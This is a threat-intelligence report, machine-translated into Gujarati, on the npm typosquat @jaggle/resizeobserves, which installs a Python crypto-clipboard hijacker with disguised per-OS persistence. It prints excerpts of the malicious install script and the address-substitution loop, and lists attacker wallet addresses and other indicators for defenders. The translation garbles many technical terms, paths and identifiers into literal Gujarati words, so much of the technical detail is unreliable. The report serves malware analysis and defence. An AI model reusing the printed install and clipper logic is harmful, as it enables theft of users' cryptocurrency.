TL; DR
૨૦૨૬-૦૫-૨૧ ના રોજ, npm પ્રકાશક jaggle નવ આવૃત્તિઓ પ્રકાશિત કરી (1.0.0 દ્વારા 1.0.8) ના @jaggle/resizeobserves લગભગ બે કલાકના સમયમાં.
આ પેકેજ કાયદેસરની ભૂલ છે @juggle/resize-observer પોલીફિલ — લાખો સાપ્તાહિક ડાઉનલોડ્સ સાથે વ્યાપકપણે ઉપયોગમાં લેવાતું પેકેજ — પરંતુ તેમાં કોઈ વાસ્તવિક ResizeObserver અમલીકરણ નથી.
તેના બદલે, પેકેજનું પોસ્ટઇન્સ્ટોલ હૂક બંડલ્ડ પાયથોન પેલોડ ઇન્સ્ટોલ કરે છે, પ્લેટફોર્મ-નેટિવ દેખાતા રનટાઇમ બ્રોકર તરીકે પર્સિસ્ટન્સ રજીસ્ટર કરે છે, અને ક્રિપ્ટોકરન્સી વ્યવહારોને લક્ષ્ય બનાવતા ક્રોસ-પ્લેટફોર્મ ક્લિપબોર્ડ હાઇજેકરનો ઉપયોગ કરે છે.
Linux દ્રઢતા એ રીતે દેખાય છે python3-dbus-helper, MacOS as com.apple.python.runtime, અને વિન્ડોઝ as PyRuntimeBroker.
પેલોડ સતત વોલેટ સરનામાં માટે ક્લિપબોર્ડનું નિરીક્ષણ કરે છે 40 થી વધુ બ્લોકચેન અને ચૂપચાપ કોપી કરેલા સરનામાંઓને હુમલાખોર-નિયંત્રિત વોલેટ્સથી બદલી નાખે છે.
આ માલવેર સંપૂર્ણપણે સ્થાનિક રીતે કાર્ય કરે છે જેમાં કોઈ આઉટબાઉન્ડ C2 ઇન્ફ્રાસ્ટ્રક્ચર નથી, જેના કારણે ક્લિપબોર્ડ સબસ્ટિટ્યુશન જ એક્સફિલ્ટ્રેશન મિકેનિઝમ બને છે.
પ્રાથમિક IOC એ પેકેજનું નામ જ છે: @jaggle/resizeobserves — “jaggle” માં પડેલા સ્વર અને “resizeobserves” માં ઉમેરાયેલા “s” ની નોંધ લો.
તીવ્રતા: ઉચ્ચ.
હુમલો: તે કેવી રીતે કાર્ય કરે છે
npm:@jaggle/resizeobserves કેઝ્યુઅલ પર માલવેર જેવું લાગતું નથી npm વ્યૂ. તેના README.md શબ્દશઃ README છે npm:@juggle/રીસાઇઝ-ઓબ્ઝર્વર — સમાન કોડ નમૂનાઓ, સમાન ઉપયોગ સૂચનાઓ, સમાન '@juggle/resize-observer' માંથી { ResizeObserver } આયાત કરો. સંદર્ભો. ચોરી એટલી સંપૂર્ણ છે કે દસ્તાવેજો પર નજર નાખનાર કોઈપણ વ્યક્તિ માની લેશે કે તેઓ કાયદેસર પેકેજના દસ્તાવેજો વાંચી રહ્યા છે.
આ પેકેજ.જેસનતેનાથી વિપરીત, છૂટાછવાયા છે: ના રીપોઝીટરી ક્ષેત્ર, એકલ બિન પ્રવેશ નિર્દેશક બિન/ક્લિપબોર્ડ-ગાર્ડિયન.જેએસ, અને પોસ્ટઇન્સ્ટોલ ચાલતી સ્ક્રિપ્ટ નોડ npm-install.js. README ના "મૂળભૂત ઉપયોગ" ઉદાહરણો એવા JavaScript અમલીકરણનો સંદર્ભ આપે છે જે ટારબોલમાં ક્યાંય અસ્તિત્વમાં નથી. પેકેજમાં એકમાત્ર JavaScript ઇન્સ્ટોલ સ્ક્રિપ્ટ છે.
સ્ટેજ 1 — npm પોસ્ટઇન્સ્ટોલ બુટસ્ટ્રેપ્સ એક પાયથોન પેલોડ
npm-install.js પ્લેટફોર્મ-જાગૃત છે. તે શોધે છે કે ફળનું નાનું બીજ નિશ્ચિત શોધ પાથ સાથે એક્ઝિક્યુટેબલ (/usr/bin/pip3, /usr/સ્થાનિક/બિન/પીપ, પાછા પડવું પાયથોન3 -એમ પીપ), ટારબોલ ડિરેક્ટરીમાંથી બંડલ કરેલ પાયથોન પેકેજ ઇન્સ્ટોલ કરે છે, અને — Linux પર — ખેંચે છે xclip or xsell દ્વારા અનુકૂળ, Pacman, અથવા dnf જો બંનેમાંથી કોઈ પહેલેથી હાજર ન હોય તો:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); નો ઉપયોગ -બ્રેક-સિસ્ટમ-પેકેજો ઇરાદાપૂર્વક કરવામાં આવ્યું છે: આધુનિક Linux વિતરણો PEP 668 ના બાહ્ય-વ્યવસ્થાપિત-પર્યાવરણ માર્કર સક્ષમ સાથે Python મોકલે છે, જે ડિફોલ્ટ રૂપે સાઇટ-વ્યાપી પાઇપ ઇન્સ્ટોલ્સને અવરોધિત કરે છે. ઇન્સ્ટોલ સ્ક્રિપ્ટ ઇન્સ્ટોલને દબાણ કરે છે.
સ્ક્રિપ્ટ પણ સુડો-અવેર છે. જ્યારે ચાલી રહેલ uid એ a નું પરિણામ હોય છે સુડો એનપીએમ ઇન્સ્ટોલ કરો, સ્ક્રિપ્ટ વાંચે છે સુડો_યુઝર અને શેલ બહાર કાઢે છે ગેન્ટેન્ટ પાસવર્ડ શોધવા માટે વાસ્તવિક વપરાશકર્તાની હોમ ડિરેક્ટરી, પછી તેની પર્સિસ્ટન્સ ફાઇલોને ત્યાં લખવાને બદલે લખે છે / રુટ. દ્રઢતા દરેક વપરાશકર્તા માટે છે, સિસ્ટમ-વ્યાપી નહીં.
સ્ટેજ 2 — રનટાઇમ-બ્રોકર નામો હેઠળ ક્રોસ-ઓએસ પર્સિસ્ટન્સ
પાયથોન પેકેજ ઇન્સ્ટોલ થયા પછી, સ્ક્રિપ્ટ દરેક ઓપરેટિંગ સિસ્ટમ પર અલગ નામ હેઠળ ઓટો-સ્ટાર્ટ એન્ટ્રી રજીસ્ટર કરે છે:
- Linux — એક systemd વપરાશકર્તા એકમ ~/.config/systemd/user/python3-dbus-helper.service. યુનિટનું વર્ણન is પાયથોન ડી-બસ રનટાઇમ હેલ્પર. સ્ક્રિપ્ટ તેને આના દ્વારા પણ સક્ષમ કરવાનો પ્રયાસ કરે છે systemctl - વપરાશકર્તા સક્ષમ કરો, નીચે મેન્યુઅલ સિમલિંક પર પાછા ફરવું ડિફૉલ્ટ.ટાર્ગેટ.વોન્ટ્સ/ જ્યારે systemctl નિષ્ફળ જાય છે. જો sudo હેઠળ ચાલી રહ્યું હોય, તો સ્ક્રિપ્ટ સ્વિચ થાય છે સુડો -યુ સિસ્ટમસીટીએલ - વપરાશકર્તા, સાથે XDG_RUNTIME_DIR સેટ કરો જેથી યુઝર-બસ કોલ કામ કરે.
- MacOS — LaunchAgent પ્લિસ્ટ પર ~/લાઇબ્રેરી/લૉન્ચ એજન્ટ્સ/com.apple.python.runtime.plist સાથે રનએટલોડ=સાચું અને જીવંત રાખો = સાચું, પછી દ્વારા લોડ થયેલ લોન્ચસીટીએલ લોડ.
- વિન્ડોઝ — PyRuntimeBroker નામનું એક શેડ્યૂલ્ડ ટાસ્ક, જે AtLogOn ને ટ્રિગર કરે છે, જેમાં શૂન્ય એક્ઝેક્યુશન સમય મર્યાદા (એટલે કે, કોઈ સમયસમાપ્તિ નહીં), PowerShell દ્વારા રજીસ્ટર થયેલ છે.
ત્રણેય નામો એક નજરમાં વિશ્વસનીય છે. પાયથોન3-ડીબસ-હેલ્પર Linux ડેસ્કટોપ પર કાયદેસર Python-D-Bus એકીકરણના નામકરણ સંમેલનને અનુસરે છે. કોમ.એપલ.પાયથોન.રનટાઇમ તેની પોતાની સેવાઓ માટે એપલના રિવર્સ-DNS લેબલિંગની નકલ કરે છે. પાયરન્ટાઈમબ્રોકર વિન્ડોઝનો પડઘો પાડે છે રનટાઇમબ્રોકર.એક્સી — એક વાસ્તવિક, સહી કરેલ Microsoft સેવા જે UWP એપ્લિકેશનો માટે પરવાનગી વિનંતીઓનું દલાલી કરે છે. આ સંદર્ભમાં આમાંથી કોઈ પણ વાસ્તવિક Apple/Microsoft/Python સેવાઓ નથી, પરંતુ એક ડિફેન્ડર જે ઝડપી વિઝ્યુઅલ સ્કેન કરે છે systemctl -વપરાશકર્તા યાદી-એકમો or ગેટ-શેડ્યુલ્ડ ટાસ્ક ચકરાવે ચડવાની શક્યતા નથી.
સ્ટેજ 3 — ક્લિપબોર્ડ હાઇજેકર
પાયથોન પેલોડ, અહીં સ્થાપિત થયેલ છે ક્લિપબોર્ડ_ગાર્ડિયન/ગાર્ડિયન.પી.વાય, દર 400 મિલિસેકન્ડે સિસ્ટમ ક્લિપબોર્ડ પર એક અનંત લૂપ પોલ ચલાવે છે. દરેક ટિક પર, તે વર્તમાન ક્લિપબોર્ડ સામગ્રીને ખેંચે છે પાયપરક્લિપ.પેસ્ટ() અને તેમને Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain, અને અન્ય ઘણા બધા માટે વૉલેટ-એડ્રેસ ફોર્મેટને આવરી લેતા ચાલીસથી વધુ પૂર્વ-સંકલિત નિયમિત અભિવ્યક્તિઓની સૂચિ સામે ચલાવે છે જે ડિફોલ્ટ રૂપરેખામાં સ્ટબ કરેલા પરંતુ ખાલી છે (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
જ્યારે મેચ લેન્ડ થાય છે, ત્યારે સ્ક્રિપ્ટ તે ચેઇન માટે હુમલાખોરનું સરનામું વાંચે છે ~/.config/ક્લિપબોર્ડ-ગાર્ડિયન/config.json (અથવા તેના પ્લેટફોર્મ સમકક્ષ) અને ક્લિપબોર્ડને અવેજી લખાણ સાથે ઓવરરાઇટ કરે છે:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) કોઈ નેટવર્ક બીકન નથી. ક્લિપર ઘરે ફોન કરતું નથી, ચેપગ્રસ્ત હોસ્ટને રજીસ્ટર કરતું નથી, કંઈપણ એક્સફિલ્ટ્રેટ કરતું નથી. એક્સફિલ્ટ્રેશન એ જ અવેજી છે: જ્યારે વપરાશકર્તા તેમના વોલેટ UI માંથી પ્રાપ્તકર્તા સરનામાંની નકલ કરે છે અને તેને મોકલવાના સંવાદમાં પેસ્ટ કરે છે, ત્યારે પેસ્ટ કરેલું સરનામું ઓપરેટરનું હોય છે. ભંડોળ ઇન-બેન્ડ ખોવાઈ જાય છે, પારદર્શક રીતે વપરાશકર્તાને.
અહીં નવું શું છે?
સામાન્ય ક્રિપ્ટો-ક્લિપર ટેમ્પ્લેટની તુલનામાં કેટલીક વિગતો અલગ તરી આવે છે:
1. npm → પાયથોન ક્રોસઓવર. npm માં આપણે જોયેલા મોટાભાગના ક્રિપ્ટો-ક્લિપર્સ શુદ્ધ JavaScript છે, જે વારંવાર _0x એરે રોટેશન અથવા ઇવલ(એટોબ(…)) સ્ટેક્સ. આ નમૂના npm ટારબોલનો ઉપયોગ પાયથોન પેકેજ માટે ડિલિવરી રેપર સિવાય બીજું કંઈ નહીં - સ્વચ્છ પાયથોન - અને pip ને ડિપેન્ડન્સી ઇન્સ્ટોલેશનને હેન્ડલ કરવા દે છે (પાયપરક્લિપ, સુટિલ, વૈકલ્પિક સેટપ્રોક્ટાઇટલ) બંડલ્ડમાં જાહેર કરાયેલ pyproject.toml. તેને હરાવવા માટે કોઈ જાવાસ્ક્રિપ્ટ ગૂંચવણ નથી. ક્લિપર પોતે જ સાદો, વાંચી શકાય તેવો પાયથોન છે.
2. ટ્રાઇ-ઓએસ પર્સિસ્ટન્સ લેબલ્સ વિશ્વસનીયતા માટે પસંદ કરવામાં આવ્યા છે. ઘણા ક્રોસ-પ્લેટફોર્મ ઇન્સ્ટોલર્સ સામાન્ય નામો હેઠળ પર્સિસ્ટન્સ રજીસ્ટર કરે છે (અપડેટર.સેવા, મદદગાર.પ્લિસ્ટ). આ નમૂના દરેક OS પર પ્લેટફોર્મ-નેટિવ રનટાઇમ બ્રોકર્સ જેવા લેબલ પસંદ કરવામાં મુશ્કેલી લે છે. નામકરણ એ સ્ટીલ્થનો એકમાત્ર પ્રયાસ છે - તેમાં કોઈ રૂટકીટ નથી, કોઈ યુઝરલેન્ડ છુપાવી રહ્યું નથી, કોઈ પાથ અસ્પષ્ટ નથી. શરત એ છે કે ડિફેન્ડર્સ ભાગ્યે જ ઓડિટ કરે છે ~/.config/systemd/user/ અને તે નામની સેવા પાયથોન3-ડીબસ-હેલ્પર કેઝ્યુઅલ રિવ્યૂમાં અલગ દેખાશે નહીં.
૩. પ્રક્રિયા-શીર્ષકનો વેશ વાસ્તવિક છે, પરંતુ વિશ્લેષણ-વિરોધી સુષુપ્ત છે. પાયથોન પેલોડ વ્યાખ્યાયિત કરે છે a _વેશ_પ્રક્રિયા() ફંક્શન જે પ્રક્રિયા શીર્ષકને આના દ્વારા સેટ કરે છે સેટપ્રોક્ટાઇટલ (લિનક્સ/મેકઓએસ) અથવા સેટકોન્સોલટાઇટલડબ્લ્યુ (વિન્ડોઝ) - અને મુખ્ય() તેને કહે છે. તો પી.એસ. ઔક્સ બતાવશે પાયથોન3-ડીબસ-હેલ્પર ની બદલે પાયથોન3 …/guardian.py. જોકે, તે જ મોડ્યુલ વ્યાખ્યાયિત કરે છે મોનિટર_ચાલી રહ્યું છે() જાણીતા પ્રક્રિયા-નિરીક્ષણ સાધનોની ગણતરી કરતું કાર્ય (હૉટ, બીટોપ, ટાસ્ક મેનેજર, એક્ટિવિટી મોનિટર, પ્રોસેસ હેકર, રિસોર્સ મોનિટર, જીનોમ / કેડીઇ / એક્સએફસીઇ / મેટ સિસ્ટમ મોનિટર, અને તેથી વધુ) — અને મુખ્ય() ક્યારેય તેને બોલાવતું નથી. વપરાશકર્તા પાસે પ્રોસેસ મોનિટર ખુલ્લું હોય કે ન હોય, સબસ્ટિટ્યુશન લૂપ બિનશરતી રીતે ચાલે છે. મોકલેલા વર્ઝનમાં ફંક્શન ડેડ કોડ છે. તે મોટાભાગે અગાઉના પુનરાવર્તનમાંથી બચેલું છે, અથવા હજુ સુધી વાયર્ડ અપ ન થયેલ સુવિધા માટે સ્કેફોલ્ડિંગ છે. કોઈપણ રીતે, પ્રકાશિત પેલોડની એન્ટિ-એનાલિસિસ સપાટી એક પ્રક્રિયા-શીર્ષક નામ બદલો છે, સક્રિય મોનિટર ચોરી નથી.
૪. બંડલ્ડ રૂપરેખા-મર્જ વર્તણૂક. npm-install.js ડિફોલ્ટ વોલેટ યાદી લખે છે ~/.config/ક્લિપબોર્ડ-ગાર્ડિયન/config.json અને, જો કોઈ રૂપરેખા ફાઇલ પહેલાથી જ અસ્તિત્વમાં છે, તો તે કોઈપણ કીમાં મર્જ થાય છે જેની હાલની કિંમત ખાલી છે. તેનો અર્થ એ છે કે એક વપરાશકર્તા જે અગાઉ ચેપગ્રસ્ત થયો છે અને તેણે રૂપરેખાને આંશિક રીતે સાફ કરી છે - કહો કે, ખાલી કરીને ethereum મૂલ્ય — દરેક અનુગામી દૂષિત પેકેજ ઇન્સ્ટોલ દ્વારા તેને ફરીથી ભરશે. કોઈપણ કોડ પાથમાં પર્સિસ્ટન્સ ફાઇલની કોઈ સફાઈ નથી.
| તારીખ / સમય (UTC) | ઇવેન્ટ |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 પ્રકાશિત |
2026-05-21 19:55:55 | 1.0.1 પ્રકાશિત — બાહ્ય સ્કેનિંગ દ્વારા ચિહ્નિત થયેલ પ્રથમ સંસ્કરણ. |
2026-05-21 19:58:10 | 1.0.2 પ્રકાશિત |
2026-05-21 20:05:03 | 1.0.3 પ્રકાશિત |
2026-05-21 20:09:24 | 1.0.4 પ્રકાશિત |
2026-05-21 20:13:48 | 1.0.5 પ્રકાશિત |
2026-05-21 20:41:52 | 1.0.6 પ્રકાશિત |
2026-05-21 20:43:56 | 1.0.7 પ્રકાશિત — ઉમેરે છે a try/catch વોલેટ-કન્ફિગ લખવાના પગલાની આસપાસ રેપર npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 પ્રકાશિત — ઇન્સ્ટોલરનું નામ બદલ્યું npm-install.js → npm-install.cjs (બાઇટ-સમાન સામગ્રી). |
2026-05-22 | ચુકાદાઓ અને IOC પ્રકાશિત થયા. પ્રકાશન સમયે (ચાલુ) આવૃત્તિઓ હજુ પણ રજિસ્ટ્રીમાં જીવંત છે. |
એક કલાક અને છપ્પન મિનિટમાં નવ આવૃત્તિઓ ટાઇપોસ્કેટ માટે પણ ઝડપી છે. પેટર્ન એ સાથે સુસંગત છે પ્રકાશિત કરો અને બાળો ઝુંબેશ — રજિસ્ટ્રીને એક હેન્ડલ નીચે ભરી દો, ડિટેક્શનને તેનો માર્ગ અપનાવવા દો, અને એક જ વર્ઝન દૂર થઈ ગયા પછી નવા હેન્ડલ પર ખસેડો. સમગ્ર રનમાં દેખાતા ડેલ્ટા કોસ્મેટિક છે: 1.0.1 સ્પષ્ટ ઉમેર્યું /usr/bin/pip3-style પાથ પાઇપ શોધ સૂચિ (sudo-સુસંગતતા) માટે, 1.0.7 એ વોલેટ-કોન્ફિગ રાઇટને ટ્રાય/કેચમાં લપેટ્યું, અને 1.0.8 એ ઇન્સ્ટોલરનું નામ બદલીને .js થી .cjs જ્યારે તેની સામગ્રી બાઇટ-સમાન રાખે છે. આ .cjs પેકેજોમાં સ્પષ્ટતા વિના અસ્પષ્ટ મોડ્યુલ રિઝોલ્યુશન વિશે npm ચેતવણીઓ સાથે ટ્રેકનું નામ બદલો "પ્રકાર" ફીલ્ડ, અને ધ્યાન ખેંચી શકે તેવા ઇન્સ્ટોલ-ટાઇમ અવાજને દબાવવાનો પ્રયાસ હોઈ શકે છે. પાયથોન પેલોડ - એકમાત્ર ભાગ જે ખરેખર ચોરી કરે છે - બધા નવ સંસ્કરણોમાં યથાવત છે.
સમાધાનના સૂચકાંકો
પેકેજો
| ઇકોસિસ્ટમ | પેકેજ | આવૃત્તિઓ | સ્થિતિ |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 દ્વારા 1.0.8 | પ્રકાશન સમયે લાઇવ; દૂર કરવાની વિનંતી. |
ફાઇલો અને હેશ
| પાથ | નોંધો |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | નવ પ્રકાશિત આવૃત્તિઓમાં સમાન (1.0.0 દ્વારા 1.0.8). ક્લિપર પેલોડ. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | પર્સિસ્ટન્સ ઇન્સ્ટોલર; એન્ડ-ટુ-એન્ડ સમાન વર્તન. 1.0.7's .js અને 1.0.8's .cjs બાઈટ-સમાન છે. |
~/.config/clipboard-guardian/config.json | Linux પર્સિસ્ટન્સ રૂપરેખા અને વોલેટ બંડલ. |
~/Library/Application Support/clipboard-guardian/config.json | macOS પર્સિસ્ટન્સ રૂપરેખા અને વોલેટ બંડલ. |
%APPDATA%\clipboard-guardian\config.json | વિન્ડોઝ પર્સિસ્ટન્સ રૂપરેખા અને વોલેટ બંડલ. |
~/.config/systemd/user/python3-dbus-helper.service | Linux ઓટો-સ્ટાર્ટ પર્સિસ્ટન્સ. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | macOS LaunchAgent પર્સિસ્ટન્સ. |
~/Library/Logs/com.apple.python.runtime.log | એજન્ટ માટે macOS stdout/stderr લોગ. |
Scheduled Task PyRuntimeBroker | વિન્ડોઝ ઓટો-સ્ટાર્ટ ટાસ્ક (AtLogOn, કોઈ સમયસમાપ્તિ નથી). |
વર્તણૂક સૂચકાંકો
| સિગ્નલ | વર્ણન |
|---|---|
pip install --break-system-packages npm પોસ્ટઇન્સ્ટોલમાંથી | PEP 668 સુરક્ષાને બાયપાસ કરીને સાઇટ-વ્યાપી પાયથોન ઇન્સ્ટોલેશનને દબાણ કરે છે. |
apt-get install -y xclip (અથવા પેકમેન/ડીએનએફ) | પેકેજ ઇન્સ્ટોલેશન દરમિયાન Linux પર ક્લિપબોર્ડ ઉપયોગિતાઓ ઇન્સ્ટોલ કરે છે. |
python3-dbus-helper.service સિસ્ટમડી યુઝર યુનિટ | પર્સિસ્ટન્સ એક સંભવિત દેખાતા રનટાઇમ-હેલ્પર નામ હેઠળ નોંધાયેલ છે. |
com.apple.python.runtime લોન્ચ એજન્ટ | કાયદેસર એપલ સિસ્ટમ પાથની બહાર પર્સિસ્ટન્સ લેબલ. |
PyRuntimeBroker શેડ્યૂલ કરેલ કાર્ય | કોઈ કાયદેસર ઇન્સ્ટોલર સ્ત્રોત વિના નકલી વિન્ડોઝ રનટાઇમ બ્રોકર પર્સિસ્ટન્સ. |
પાયથોન પ્રક્રિયા શીર્ષક python3-dbus-helper આયાત pyperclip અને psutil | પ્રદર્શિત પ્રક્રિયા નામ અને આયાતી લાઇબ્રેરીઓ વચ્ચે વર્તણૂકીય મેળ ખાતો નથી. |
| વોલેટ-એડ્રેસ કોપી કર્યા પછી ક્લિપબોર્ડ ~0.4 સેકન્ડ બદલાય છે | ક્રિપ્ટોકરન્સી સરનામાંના અવેજીની સહી વર્તણૂક. |
હુમલાખોર વોલેટ બંડલ (ડિફેન્ડર શિકાર યાદી)
વોલેટ સૂચિ હાર્ડ-કોડેડ રીતે મોકલવામાં આવે છે npm-install.js અને ક્લિપબોર્ડ_ગાર્ડિયન/ગાર્ડિયન.પી.વાય. ડિફેન્ડર્સ આ યાદીનો ઉપયોગ બ્લોકલિસ્ટ (કોર્પોરેટ વોલેટ્સમાંથી આ સરનામાંઓ પર કોઈપણ ટ્રાન્સફરને શંકાસ્પદ ગણી શકે છે) અને હન્ટિંગ કી (અપ્રમાણિત રૂપરેખા ફાઇલ, બિલ્ડ આર્ટિફેક્ટ અથવા ડેવલપર મશીનમાં આમાંથી કોઈપણ સ્ટ્રિંગની હાજરીને ચેપ સૂચક તરીકે ગણી શકે છે) બંને તરીકે કરી શકે છે.
એટેકર વોલેટ બંડલ
| ચેઇન | સરનામું |
|---|---|
| ઇથેરિયમ / બીએસસી | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| રોનિન (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| વિકિપીડિયા રોકડ | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| ડોગકોઇન | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| ડૅશ | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| ઝેકશ | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| ડિજિબાઇટ | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| મોનોરો | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| સોલના | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| ટ્રોન | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| લહેર | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| પોલકા ડોટ | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NEAR | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| કોસ્મોસ | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| અભિસરણ | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| સેલેશિયા | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| ઇજાગ્રસ્ત | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| કાવા | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| સંપ | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| ટેરા | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| તારાઓની | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| મલ્ટિવર્સ એક્સ | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| એપ્ટોસ | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| સુઇ | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| નેનો | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| ફાઇલકોઇન | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| તેઝોસ | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| તેથી | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| મથાળું | 0.0.10488092 |
ડિફોલ્ટ રૂપરેખાંકનમાં ખાલી વોલેટ સ્લોટ ધરાવતી રેજેક્સ કવરેજવાળી ચેઇન્સ — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — આ બિલ્ડમાં સક્રિય રીતે અવેજી નથી પરંતુ શોધાયેલ છે. તેમને અવેજી અવકાશ કરતાં મોનિટરિંગ અવકાશ તરીકે ગણો.
એટ્રિબ્યુશન અને પ્રેરણા
આ ઝુંબેશ પાતળી એટ્રિબ્યુશન સપાટી પ્રદાન કરે છે. અમે ઓપરેટર ઓળખની પુષ્ટિ કરી શક્યા નથી. અમે શું રેકોર્ડ કરી શકીએ છીએ:
- પ્રકાશક મેટાડેટા. npm એકાઉન્ટ જિગલ તેના ઇમેઇલને આ રીતે સૂચિબદ્ધ કરે છે olgascarlet@deltajohnsons.com પર ઇમેઇલ મોકલો.. ડોમેન ડેલ્ટાજોહન્સન્સ.કોમ અમે ચકાસી શકીએ તેવી કોર્પોરેટ ઓળખ માટે ઉકેલ લાવતું નથી. npm એકાઉન્ટ કોઈ ઇમેઇલ ચકાસણી બતાવતું નથી અને કોઈ SCM ચકાસણી. કોઈ સંકળાયેલ જાહેર GitHub હાજરી નથી.
- રિપોઝીટરી ક્ષેત્ર. આ પેકેજ.જેસન ના રીપોઝીટરી ક્ષેત્ર. કાયદેસર npm:@juggle/રીસાઇઝ-ઓબ્ઝર્વર હજારો સ્ટાર્સ અને સક્રિય મુદ્દાઓ સાથે વાસ્તવિક GitHub રિપોઝીટરી તરફ નિર્દેશ કરે છે. રિપોઝીટરી લિંકનો અભાવ એ npm UI પર સૌથી ઝડપી વિઝ્યુઅલ ટેલ છે.
- README સાહિત્યચોરી. README પેકેજ કાયદેસર છે @juggle/કદ બદલો-નિરીક્ષક README બાઇટ-ફોર-બાઇટ, સહિત આયાત કરો સંદર્ભ આપતા ઉદાહરણો @juggle/કદ બદલો-નિરીક્ષક પોતે (પ્રકાશન પેકેજ નહીં). ઓપરેટરે આયાતોને ફરીથી લખવાની પણ તસ્દી લીધી ન હતી - એક સામાન્ય સંકેત કે રીડમી ઉપાડવામાં આવ્યો હતો, અનુકૂલિત નહીં.
- કોઈ માળખાગત સુવિધા નથી જેના પર કામ ચાલી શકે. કોઈ C2 એન્ડપોઇન્ટ નથી, કોઈ DNS લુકઅપ નથી, કોઈ IP નથી. દૂષિત વર્તણૂક સંપૂર્ણપણે સ્થાનિક ક્લિપર અને હાર્ડ-કોડેડ વોલેટ બંડલમાં સમાવિષ્ટ છે. આ ડોમેન- અથવા ASN-આધારિત પિવોટિંગને અનુપલબ્ધ બનાવે છે. ઝુંબેશોમાં પિવોટિંગ કરનારા ડિફેન્ડર્સે ફાઇલ પરના કોઈપણ અગાઉના ક્લિપર સામે વોલેટ્સને હેશ-મેચ કરવા જોઈએ; પેકેજોમાં વોલેટનો ફરીથી ઉપયોગ એ સૌથી સુલભ ક્રોસ-ઝુંબેશ લિંક છે.
- નામકરણની પસંદગી. @jaggle/resizeobserves એક અક્ષર અલગ છે @જગલ અને જાણીતામાંથી એક વળાંક માપ બદલો-નિરીક્ષક. સંયુક્ત સંપાદન-અંતર બે ગ્લિફ્સ છે. આ ઇરાદાપૂર્વકની દ્રશ્ય અથડામણ છે, સામાન્ય બેસવાનો નહીં.
